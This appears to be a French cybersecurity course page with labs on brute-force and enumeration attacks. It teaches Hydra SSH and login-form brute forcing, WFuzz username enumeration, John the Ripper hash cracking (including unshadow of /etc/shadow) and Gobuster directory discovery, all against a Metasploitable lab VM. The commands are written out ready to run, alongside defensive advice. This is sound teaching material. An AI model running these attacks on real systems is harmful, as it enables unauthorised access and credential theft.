Attaques par force brute
Attaques par force brute et énumération
Notions théoriques
1. Qu'est-ce qu'une attaque par force brute ?
Une attaque par force brute est une méthode utilisée pour deviner un mot de passe ou une clé de chiffrement en essayant toutes les combinaisons possibles jusqu'à trouver la bonne.
Cette attaque est efficace si le mot de passe est court ou simple.
Par exemple, un mot de passe comme "123456"
sera facilement trouvé en quelques secondes.
2. Qu'est-ce que l'énumération ?
L’énumération est une technique qui consiste à collecter des informations sur un système avant une attaque.
Cela peut inclure :
- La découverte d’utilisateurs existants sur un site Web.
- La récupération de noms de fichiers ou de répertoires cachés.
- L’identification des services actifs sur un serveur.
Elle est souvent utilisée avant une attaque par force brute pour réduire le nombre de tentatives nécessaires.
3. Comment se protéger ?
Pour se protéger contre ces attaques, il est recommandé de :
- Utiliser des mots de passe longs et complexes.
- Mettre en place une limitation du nombre de tentatives (ex. : blocage après 5 essais).
- Activer l’authentification à deux facteurs (2FA).
- Configurer des CAPTCHAs pour éviter les attaques automatisées.
Exemple pratique
Nous allons voir comment un attaquant pourrait utiliser un outil pour trouver un mot de passe par force brute et comment il pourrait découvrir des utilisateurs existants sur un site.
1. Attaque par force brute sur un mot de passe
Un attaquant peut utiliser Hydra, un outil permettant de tester des mots de passe sur un service comme SSH.
Commande pour tester des mots de passe sur un serveur SSH :
hydra -l admin -P passwords.txt ssh://192.168.1.10
Explication :
-l admin
: Nom d'utilisateur ciblé.-P passwords.txt
: Liste de mots de passe à tester.ssh://192.168.1.10
: Adresse du serveur cible.
Si le mot de passe est dans la liste, Hydra affichera :
[22][ssh] host: 192.168.1.10 login: admin password: password123
2. Énumération des utilisateurs sur un site Web
Avec WFuzz, un attaquant peut tester des noms d'utilisateur sur un formulaire de connexion.
Commande pour tester des noms d’utilisateur :
wfuzz -c -z file,users.txt --hc 403 http://site.com/login?username=FUZZ
Explication :
-z file,users.txt
: Liste de noms d’utilisateur à tester.--hc 403
: Ignore les réponses avec un code 403 (accès refusé).FUZZ
: RemplaceFUZZ
par chaque nom d’utilisateur de la liste.
Si un utilisateur existe, la réponse du serveur sera différente.
4 outils très utilisés en cybersécurité
Voici 4 outils très utilisés en cybersécurité pour tester la robustesse des systèmes et identifier les failles potentielles.
Il est essentiel de les utiliser uniquement dans un cadre légal et éthique.
Outil | Utilisation principale |
---|---|
Hydra | Attaque par force brute sur SSH et autres services |
WFuzz | Énumération des utilisateurs et fichiers cachés |
John the Ripper | Crackage de mots de passe chiffrés |
Gobuster | Découverte de répertoires cachés sur un site Web |
Test de mémorisation/compréhension
TP avec John the Ripper
Objectif : Comprendre et expérimenter l'utilisation de John the Ripper pour cracker des mots de passe chiffrés, en explorant les concepts d'attaques par dictionnaire et par force brute abordés dans la séance de cours sur les attaques par force brute et l'énumération.
Matériel requis
- Une machine virtuelle avec Kali Linux (machine attaquante)
- Un éditeur de texte (comme nano ou vim) et un terminal
- Un accès à Internet pour télécharger des ressources publiques
1. Introduction
1.1. Présentation du TP
Dans ce TP, vous allez apprendre à :
- Utiliser John the Ripper pour cracker des hashs de mots de passe.
- Comparer les approches par dictionnaire et par force brute.
- Analyser les résultats pour en tirer des enseignements sur la sécurité des mots de passe.
⚠️ Important : Ce TP est réalisé dans un cadre pédagogique et éthique. L'utilisation de ces techniques sur des systèmes ou données sans autorisation explicite est strictement interdite.
Présentation de John the Ripper
John the Ripper (souvent abrégé en John) est un outil open-source de craquage de mots de passe, principalement utilisé pour tester la robustesse des mots de passe :
- Casser des mots de passe hachés
- Tester la sécurité des mots de passe
- Réaliser des attaques par dictionnaire, brute force ou règles personnalisées
Principales commandes de John the Ripper
1. Détection automatique du type de hash
john --format=auto hash.txt
John essaie de détecter automatiquement le type de hash contenu dans le fichier hash.txt
.
2. Lancer une attaque simple (mode par défaut)
john hash.txt
John utilise son mode par défaut (souvent une attaque par dictionnaire avec des règles) pour tenter de casser les mots de passe.
3. Utiliser un fichier de dictionnaire (wordlist)
john --wordlist=rockyou.txt hash.txt
Utilise le fichier rockyou.txt
pour effectuer une attaque par dictionnaire.
4. Spécifier un format de hash
john --format=raw-md5 hash.txt
Permet de forcer le format du hash s’il n’est pas détecté automatiquement.
5. Voir les mots de passe trouvés
john --show hash.txt
Affiche les mots de passe déjà craqués et stockés dans le fichier .pot
de John.
6. Reprendre une session interrompue
john --restore
Reprend une session de craquage précédemment interrompue.
7. Lister les formats de hash supportés
john --list=formats
Affiche tous les formats de hachage que John peut gérer.
Outils associés
unshadow
: combine/etc/passwd
et/etc/shadow
pour créer un fichier exploitable par John.zip2john
,rar2john
,pdf2john
, etc. : extraient les hashs de fichiers protégés pour les casser avec John.
Exemple simple d'utilisation
unshadow passwd.txt shadow.txt > hash.txt
john --wordlist=rockyou.txt hash.txt
john --show hash.txt
2. Préparation de l’environnement
2.1. Démarrer Kali Linux
Lancez votre machine virtuelle Kali Linux et ouvrez un terminal pour exécuter les commandes nécessaires.
2.2. Télécharger une liste de mots pour le cracking
Vous aurez besoin d'une liste de mots (wordlist) pour tester les attaques par dictionnaire. Téléchargez une wordlist publique depuis un dépôt accessible.
Commande à exécuter dans le terminal :
wget https://github.com/danielmiessler/SecLists/raw/master/Passwords/Common-Credentials/10-million-password-list-top-10000.txt -O wordlist.txt
Cette commande télécharge une liste de 10 000 mots de passe courants et la sauvegarde sous le nom wordlist.txt
dans le répertoire courant.
Une solution
Vous devez être connecté pour voir le contenu.
3. Création d’un fichier de hashs à cracker
3.1. Générer des hashs de mots de passe
Pour ce TP, vous allez créer un fichier contenant des hashs de mots de passe au format MD5 brut, simulant une fuite de données. Exécutez les commandes suivantes dans le terminal pour générer un fichier hashes.txt
:
echo -n "secret" | md5sum | awk '{print "user1:" $1}' > hashes.txt
echo -n "admin123" | md5sum | awk '{print "user2:" $1}' >> hashes.txt
echo -n "welcome" | md5sum | awk '{print "user3:" $1}' >> hashes.txt
Explication :
echo -n
supprime le saut de ligne pour éviter de fausser le hash.md5sum
calcule le hash MD5 du mot de passe.awk '{print "userX:" $1}'
formate la sortie avec un nom d'utilisateur suivi du hash.
Une solution
Vous devez être connecté pour voir le contenu.
4. Cracking des hashs avec John the Ripper
4.1. Attaque par dictionnaire
Utilisez John the Ripper pour tenter de cracker les hashs en utilisant la wordlist téléchargée.
Commande à exécuter :
john --wordlist=wordlist.txt --format=raw-md5 hashes.txt
Explication :
--wordlist=wordlist.txt
indique la liste de mots à tester.--format=raw-md5
spécifie que les hashs sont au format MD5 brut.hashes.txt
est le fichier cible contenant les hashs.
Une solution
Vous devez être connecté pour voir le contenu.
4.2. Attaque par force brute
Si certains mots de passe ne sont pas dans la wordlist, tentez une attaque par force brute.
Commande à exécuter :
john --format=raw-md5 hashes.txt
Explication :
- Sans
--wordlist
, John passe en mode force brute, essayant toutes les combinaisons possibles. - Cette méthode est plus lente mais exhaustive.
Une solution
Vous devez être connecté pour voir le contenu.
4.3. Analyse des résultats
Affichez les mots de passe crackés pour confirmer les résultats.
Commande à exécuter :
john --show hashes.txt
Une solution
Vous devez être connecté pour voir le contenu.
5. Questions de réflexion
- Pourquoi les mots de passe courts ou courants sont-ils vulnérables aux attaques par dictionnaire ?
- Quelle est la principale différence entre une attaque par dictionnaire et une attaque par force brute en termes de temps et d’efficacité ?
- Comment la longueur et la complexité d’un mot de passe influencent-elles la durée du cracking ?
- Quels mécanismes pourraient empêcher ou ralentir le cracking des hashs avec John the Ripper ?
- Pourquoi est-il dangereux de stocker des hashs sans protection supplémentaire (comme un sel) ?
6. Conclusion et bonnes pratiques
- Ce TP démontre la puissance de John the Ripper pour cracker des mots de passe chiffrés, soulignant la nécessité de choisir des mots de passe robustes.
- Les bonnes pratiques incluent l’utilisation de mots de passe longs (au moins 12 caractères), combinant lettres majuscules, minuscules, chiffres et symboles, ainsi que l’activation de l’authentification à deux facteurs.
- La protection des fichiers de hashs avec des sels et des algorithmes de hachage modernes (comme bcrypt) est essentielle pour réduire les risques.
7. Pour aller plus loin
- Testez John the Ripper avec d’autres formats de hashs (SHA-1, SHA-256) en adaptant
--format
. - Expérimentez avec des wordlists plus grandes ou personnalisées.
- Explorez l’outil Hashcat pour comparer ses performances avec John the Ripper.
- Simulez une attaque sur un fichier de hashs réels (générés éthiquement) pour évaluer leur robustesse.
- Recherchez des techniques avancées de cracking, comme les attaques par rainbow tables ou les attaques par dictionnaire optimisées.
TP avec Hydra et WFuzz
Objectif : Comprendre et expérimenter les attaques par force brute et énumération sur un environnement de test.
Matériel requis :
- Une machine virtuelle avec Kali Linux (attaquant)
- Une machine virtuelle Metasploitable 2 (cible)
- Un éditeur de texte et un terminal
1. Introduction
1.1. Présentation du TP
Dans ce TP, vous allez apprendre à :
- Effectuer une attaque par force brute sur un service SSH avec Hydra.
- Réaliser une énumération d’utilisateurs sur un site Web avec WFuzz.
- Comprendre les mécanismes de protection contre ces attaques.
⚠️ Important : Ce TP est réalisé dans un cadre pédagogique et éthique. Il est interdit d’utiliser ces techniques sur des systèmes sans autorisation.
Présentation d'Hydra
Hydra (ou THC-Hydra) est un outil de brute force en ligne, utilisé pour tester la sécurité de services réseau en tentant de deviner des identifiants (nom d'utilisateur et mot de passe).
Contrairement à John the Ripper qui travaille principalement sur des hashs locaux, Hydra attaque des services distants (SSH, FTP, HTTP, etc.).
Il est largement utilisé en pentesting pour évaluer la robustesse des mécanismes d'authentification sur des protocoles variés.
Principales commandes Hydra
1. Attaque de base sur un service (ex: SSH)
hydra -l root -P /chemin/vers/wordlist.txt ssh://192.168.1.10
-l root
: nom d'utilisateur à tester-P
: fichier contenant les mots de passe à testerssh://
: protocole ciblé
2. Utiliser une liste d'utilisateurs et de mots de passe
hydra -L users.txt -P passwords.txt ftp://192.168.1.10
-L
: liste d'utilisateurs-P
: liste de mots de passeftp://
: protocole ciblé
3. Spécifier le nombre de threads (accélère l'attaque)
hydra -L users.txt -P passwords.txt -t 8 ssh://192.168.1.10
-t 8
: utilise 8 threads simultanés
4. Attaque sur un formulaire HTTP (ex: page de login Web)
hydra -L users.txt -P passwords.txt 192.168.1.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Identifiants invalides"
http-post-form
: type de requête/login.php
: chemin de la page^USER^
et^PASS^
: variables remplacées par les valeurs testéesF=...
: texte d’échec dans la réponse du serveur
5. Afficher les modules disponibles (protocoles supportés)
hydra -U
6. Afficher l’aide complète
hydra -h
Exemple simple
hydra -l admin -P rockyou.txt ssh://192.168.1.100
Hydra tente de se connecter en SSH à la machine 192.168.1.100 avec l’utilisateur "admin" et les mots de passe du fichier rockyou.txt
.
Présentation de WFuzz
Présentation de WFuzz
WFuzz est un outil de fuzzing Web en ligne de commande, principalement utilisé pour :
- découvrir des ressources cachées,
- tester des formulaires,
- détecter des vulnérabilités (comme les injections SQL, XSS)
- ou brute-forcer des paramètres HTTP.
Il fonctionne en injectant des valeurs dynamiques dans les requêtes HTTP (URL, en-têtes, paramètres POST, cookies, etc.) et en analysant les réponses du serveur.
WFuzz est particulièrement utile pour :
- Découvrir des fichiers et répertoires cachés
- Tester des formulaires ou des API
- Détecter des comportements anormaux ou vulnérabilités
Principales commandes WFuzz
1. Fuzzing d’URL (découverte de répertoires/fichiers)
wfuzz -w wordlist.txt --sc 200 http://site.com/FUZZ
-w wordlist.txt
: fichier contenant les mots à injecterFUZZ
: mot-clé remplacé par chaque mot de la wordlist--sc 200
: ne montre que les réponses avec le code HTTP 200
2. Fuzzing d’un paramètre GET
wfuzz -w payloads.txt --sc 200 http://site.com/page.php?id=FUZZ
3. Fuzzing d’un formulaire POST
wfuzz -w passwords.txt -d "username=admin&password=FUZZ" --sc 200 http://site.com/login.php
-d
: données POSTFUZZ
: injecté dans le champpassword
4. Fuzzing avec plusieurs points d’injection
wfuzz -w users.txt -w passwords.txt -d "user=FUZZ1&pass=FUZZ2" --sc 302 http://site.com/login.php
FUZZ1
etFUZZ2
: injection multiple avec plusieurs wordlists
5. Fuzzing d’un en-tête HTTP (ex : User-Agent)
wfuzz -w agents.txt -H "User-Agent: FUZZ" http://site.com/
-H
: permet de modifier les en-têtes HTTP
6. Afficher uniquement certaines tailles de réponse
wfuzz -w wordlist.txt --hl 0 http://site.com/FUZZ
--hl
: filtre les réponses par longueur (ici, cache celles de taille 0)
7. Utiliser des cookies
wfuzz -w wordlist.txt -b "PHPSESSID=abc123" http://site.com/FUZZ
-b
: ajoute un cookie à la requête
Exemple simple
wfuzz -w /usr/share/wordlists/dirb/common.txt --sc 200 http://example.com/FUZZ
Cette commande teste les chemins contenus dans common.txt
et affiche ceux qui retournent un code 200 (OK).
2. Préparation de l’environnement
2.1. Lancer les machines virtuelles
- Démarrer Kali Linux (machine attaquante).
- Démarrer Metasploitable 2 (machine cible).
- Identifier l’adresse IP de la cible en exécutant la commande suivante sur Metasploitable :
Notez l’adresse IP affichée (ex:
ifconfig
192.168.1.100
).
3. Attaque par force brute sur SSH avec Hydra
3.1. Présentation de Hydra
Hydra est un outil permettant d’effectuer des attaques par force brute sur divers protocoles (SSH, FTP, HTTP, etc.).
3.2. Objectif
Nous allons essayer de trouver un mot de passe SSH en testant une liste de mots de passe courants.
3.3. Étapes
Étape 1 : Vérifier que SSH est actif sur la cible
Sur Kali Linux, exécutez :
nmap -p 22 192.168.1.100
Si le port 22/tcp open apparaît, cela signifie que SSH est activé.
Étape 2 : Lancer une attaque par force brute avec Hydra
Exécutez la commande suivante :
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
Explication des options :
-l msfadmin
: Nom d’utilisateur ciblé.-P /usr/share/wordlists/rockyou.txt
: Liste de mots de passe à tester.ssh://192.168.1.100
: Adresse IP de la cible.
Étape 3 : Analyser les résultats
Si Hydra trouve un mot de passe valide, il affichera :
[22][ssh] host: 192.168.1.100 login: msfadmin password: msfadmin
Essayez de vous connecter avec :
ssh msfadmin@192.168.1.100
4. Énumération d’utilisateurs sur un site Web avec WFuzz
4.1. Présentation de WFuzz
WFuzz est un outil permettant de tester différentes valeurs dans une requête HTTP, utile pour découvrir des utilisateurs, fichiers cachés, etc.
4.2. Objectif
Nous allons essayer de trouver des noms d’utilisateurs valides sur un formulaire de connexion.
4.3. Étapes
Étape 1 : Identifier une page de connexion
Sur votre navigateur, entrez :
http://192.168.1.100/mutillidae
Allez sur la page de connexion et observez le formulaire.
Étape 2 : Lancer WFuzz pour tester des utilisateurs
Exécutez la commande suivante :
wfuzz -c -z file,/usr/share/wordlists/names.txt --hc 403 http://192.168.1.100/login.php?username=FUZZ&password=test
Explication des options :
-z file,/usr/share/wordlists/names.txt
: Liste de noms d’utilisateur à tester.--hc 403
: Ignore les réponses avec un code 403 (accès refusé).FUZZ
: Remplacé par chaque nom dans la liste.
Étape 3 : Analyser les résultats
Si un utilisateur existe, la réponse HTTP sera différente (ex: 200 OK
).
5. Questions de réflexion
- Pourquoi une attaque par force brute est-elle plus efficace sur des mots de passe courts ?
- Quels sont les indices qui permettent de détecter une attaque par énumération ?
- Quels mécanismes de protection peuvent être mis en place contre la force brute et l’énumération ?
- Pourquoi est-il important d’utiliser un mot de passe unique pour chaque service ?
- Comment l’authentification à deux facteurs (2FA) empêche-t-elle ces attaques ?
6. Conclusion et bonnes pratiques
- Les attaques par force brute et énumération sont courantes et peuvent être utilisées pour compromettre des systèmes mal protégés.
- Les protections efficaces incluent : limitation des tentatives, verrouillage de compte, 2FA, CAPTCHA.
- Dans un cadre professionnel, il est essentiel de tester la sécurité de ses propres systèmes pour identifier et corriger les vulnérabilités.
TP avec Gobuster
Objectif : Explorer l’utilisation de Gobuster pour découvrir des répertoires et fichiers cachés sur un serveur Web en se concentrant sur l’analyse d’un serveur cible pour identifier des ressources potentiellement sensibles.
Matériel requis
- Une machine virtuelle avec Kali Linux (machine attaquante)
- Une machine virtuelle Metasploitable 2 (machine cible)
- Un éditeur de texte et un terminal
- Un accès à Internet pour télécharger des ressources publiques si nécessaire
1. Introduction
1.1. Présentation du TP
Ce TP vous permettra de :
- Configurer et utiliser Gobuster pour effectuer une énumération de répertoires et fichiers sur un serveur Web.
- Interpréter les résultats pour détecter des ressources cachées ou mal protégées.
- Réfléchir aux implications de sécurité liées à l’exposition de telles ressources.
⚠️ Important : Ce TP est réalisé dans un cadre pédagogique et éthique. L'utilisation de ces techniques sur des systèmes ou données sans autorisation explicite est strictement interdite.
Présentation de Gobuster
Gobuster est un outil de brute force orienté Web, écrit en Go, utilisé principalement pour :
- Découvrir des répertoires et fichiers cachés sur des serveurs Web (via HTTP/S)
- Résoudre des sous-domaines (via DNS)
- Explorer des chemins dans des buckets S3 ou des serveurs virtuels
Il est rapide, simple à utiliser, et très efficace pour l’énumération de contenu Web.
Principales commandes de Gobuster
1. Recherche de répertoires et fichiers (mode dir)
gobuster dir -u http://site.com -w wordlist.txt
dir
: mode de recherche de dossiers/fichiers-u
: URL cible-w
: fichier de wordlist
2. Spécifier les extensions de fichiers à tester
gobuster dir -u http://site.com -w wordlist.txt -x php,html,txt
-x
: extensions à ajouter aux mots (ex :admin.php
,admin.html
…)
3. Filtrer par codes de réponse HTTP
gobuster dir -u http://site.com -w wordlist.txt -s 200,204,301,302
-s
: affiche uniquement les réponses avec les codes spécifiés
4. Recherche de sous-domaines (mode dns)
gobuster dns -d exemple.com -w subdomains.txt
dns
: mode de brute force DNS-d
: domaine cible-w
: liste de sous-domaines à tester
5. Recherche de virtual hosts (mode vhost)
gobuster vhost -u http://192.168.1.10 -w vhosts.txt
vhost
: teste des noms d’hôtes virtuels-u
: IP ou domaine cible
6. Limiter le nombre de threads (par défaut : 10)
gobuster dir -u http://site.com -w wordlist.txt -t 20
-t
: nombre de threads simultanés
7. Ignorer les erreurs SSL (utile pour HTTPS avec certificats invalides)
gobuster dir -u https://site.com -w wordlist.txt -k
-k
: ignore les erreurs de certificat
Exemple simple
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt -x php,html
Cette commande teste des chemins comme /admin.php
, /login.html
sur le site example.com
à l’aide de la wordlist common.txt
.
2. Préparation de l’environnement
2.1. Démarrer les machines virtuelles
- Lancez la machine virtuelle Kali Linux, qui servira de plateforme d’attaque.
- Lancez la machine virtuelle Metasploitable 2, qui sera la cible.
- Sur Metasploitable 2, exécutez la commande suivante dans un terminal pour déterminer son adresse IP :
Notez l’adresse IP affichée, par exemple
ifconfig
192.168.1.100
.
2.2. Vérifier la connectivité et le serveur Web
- Depuis Kali Linux, ouvrez un terminal et testez la connectivité avec la cible en utilisant :
Si des réponses sont reçues, la connexion est fonctionnelle. Appuyez sur
ping 192.168.1.100
Ctrl+C
pour arrêter. - Ouvrez un navigateur sur Kali Linux et accédez à
http://192.168.1.100
. Confirmez que la page d’accueil de Metasploitable s’affiche.
Une solution
Vous devez être connecté pour voir le contenu.
3. Installation et configuration de Gobuster
3.1. Vérifier la présence de Gobuster
- Sur Kali Linux, ouvrez un terminal et exécutez :
gobuster --version
- Si une version s’affiche (par exemple,
v3.1.0
), Gobuster est installé. Sinon, installez-le avec :sudo apt update && sudo apt install gobuster
3.2. Préparer une liste de mots pour l’énumération
- Vérifiez la disponibilité d’une liste de mots (wordlist) par défaut sur Kali Linux en exécutant :
ls /usr/share/wordlists/dirb/common.txt
- Si le fichier existe, il sera utilisé pour ce TP. Sinon, téléchargez une liste publique depuis GitHub avec :
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt -O common.txt
Une solution
Vous devez être connecté pour voir le contenu.
4. Énumération de répertoires avec Gobuster
4.1. Lancer une analyse de répertoires
- Exécutez la commande suivante pour scanner le serveur Web de Metasploitable :
gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt
dir
: Mode d’énumération des répertoires.-u http://192.168.1.100
: URL cible.-w /usr/share/wordlists/dirb/common.txt
: Chemin de la wordlist.
4.2. Observer les résultats
- Gobuster affiche les répertoires et fichiers découverts avec leur code de statut HTTP. Par exemple :
/index.php (Status: 200) [Size: 1234]
/admin (Status: 301) [Size: 324] [--> http://192.168.1.100/admin/]
/images (Status: 301) [Size: 325] [--> http://192.168.1.100/images/] - Notez les chemins intéressants pour une exploration ultérieure.
Une solution
Vous devez être connecté pour voir le contenu.
5. Exploration manuelle des ressources découvertes
5.1. Accéder aux chemins trouvés
- Ouvrez un navigateur sur Kali Linux.
- Testez les URLs découvertes, telles que :
http://192.168.1.100/admin
http://192.168.1.100/images
http://192.168.1.100/index.php
5.2. Analyser le contenu
- Examinez chaque page pour identifier son contenu (par exemple, formulaires, fichiers, interfaces).
- Notez toute information sensible ou fonctionnalité exposée.
Une solution
Vous devez être connecté pour voir le contenu.
6. Questions de réflexion
- Quels types de répertoires ou fichiers découverts pourraient compromettre la sécurité d’un serveur Web ?
- Comment la découverte de ressources cachées facilite-t-elle une attaque par force brute ultérieure ?
- Quelles mesures un administrateur peut-il prendre pour bloquer l’énumération par Gobuster ?
- En quoi l’énumération diffère-t-elle d’une attaque par force brute en termes d’objectif et de méthode ?
- Pourquoi tester ses propres systèmes avec des outils comme Gobuster est-il une pratique recommandée ?
7. Conclusion et recommandations
- Ce TP illustre la puissance de Gobuster pour révéler des ressources cachées, mettant en lumière les risques d’une mauvaise configuration serveur.
- Pour sécuriser un serveur, limitez l’accès aux répertoires sensibles (via
.htaccess
ou permissions), désactivez le listage de répertoires, et surveillez les logs d ’accès. - Effectuer des tests réguliers avec des outils d’énumération aide à identifier et corriger les failles avant leur exploitation.
8. Pour aller plus loin
- Expérimentez avec une wordlist plus large, comme
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
. - Ajoutez des extensions spécifiques dans Gobuster avec
-x
(par exemple,-x bak,conf,sql
) pour chercher des fichiers de sauvegarde ou de configuration. - Comparez Gobuster à WFuzz sur la même cible pour évaluer leurs différences en termes de vitesse et de résultats.
- Configurez un serveur Web local avec des répertoires cachés et testez la capacité de Gobuster à les détecter.